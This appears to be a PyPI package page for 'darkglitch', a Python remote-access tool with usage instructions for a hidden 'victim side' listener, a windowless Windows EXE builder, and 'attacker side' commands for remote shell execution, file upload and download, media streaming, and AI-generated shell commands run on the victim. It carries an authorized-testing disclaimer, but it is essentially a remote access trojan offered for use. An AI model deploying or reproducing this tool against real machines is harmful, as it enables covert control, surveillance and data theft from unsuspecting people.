Remote command delivery and media streaming tool over WebRTC signaling
Project description
darkglitch
darkglitch is a lightweight Python proof-of-concept for remote command execution, file transfer, and media streaming over a WebSocket signaling channel. It is intended for authorized security testing and educational use.
What it supports
- start a listener that registers a client and waits for commands
- list online peers in the same signaling room
- run shell commands remotely
- upload and download files
- stream media from a connected client
- turn a natural-language prompt into a shell command with an AI provider
Requirements
- Python 3.10+
- dependencies from requirements.txt
- an Ollama instance if you want to use the AI prompt mode
Installation
From the project root:
python3 -m venv .venv
source .venv/bin/activate
pip install -e .
If you want to use the AI prompt mode, install the Ollama Python client as well:
pip install ollama
Configuration
Edit core/config.py to point the client at your signaling server and room:
HOST = "https://your-signal-server.example/"
ROOM = "your-room"
Basic workflow
1. Start a listener (victim side)
Start from source:
python darkglitch.py -l -c
Or generate a Windows EXE that auto-starts the same listener:
python darkglitch.py -r
The output is placed in ./dist/darkglitch_listener.exe (built with --noconsole, so it should not pop a console window).
2. List online peers (attacker side)
python darkglitch.py -ol
3. Send a remote command
python darkglitch.py -c <client_id> "whoami"
4. Use an AI-generated bash prompt
python darkglitch.py -ai <client_id> "list all folders in root"
This uses an Ollama-backed provider to turn your prompt into a shell command before executing it remotely. If Ollama is unavailable or the model returns something unusable, the tool falls back to a simple built-in command.
5. Upload or download files
python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file
6. Request a media stream
python darkglitch.py -s <client_id>
Help and version
python darkglitch.py -h
python darkglitch.py -v
AI setup
If you want to use the AI prompt mode, make sure Ollama is installed and running:
ollama serve
ollama pull llama3.2:3b
You can override the default model and timeout if needed:
export OLLAMA_MODEL=llama3.2:3b
export OLLAMA_TIMEOUT=60
Notes
This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file darkglitch-1.2.0.tar.gz.
File metadata
- Download URL: darkglitch-1.2.0.tar.gz
- Upload date:
- Size: 31.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.14.6
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
28e7cadb2ede0b6852027769fb6072e8af2634175304ea22adc08de08e684ed9
|
|
| MD5 |
fa94b3faf1d48c41e07aada064153bc7
|
|
| BLAKE2b-256 |
9b8a7b6f1367bf24684cc67880b11b17bb702134f9de31d757b9910cac058c22
|
File details
Details for the file darkglitch-1.2.0-py3-none-any.whl.
File metadata
- Download URL: darkglitch-1.2.0-py3-none-any.whl
- Upload date:
- Size: 37.3 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.14.6
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
c216762c6f26c96dca1abddc755209faa25333b94f90e0299065a63013fe181f
|
|
| MD5 |
c1c4ae29bbf2b29c0939b20b4e4ead4c
|
|
| BLAKE2b-256 |
c879c44ed1ab8914613126df674f751601713f1774dc647643c42bacc0967b64
|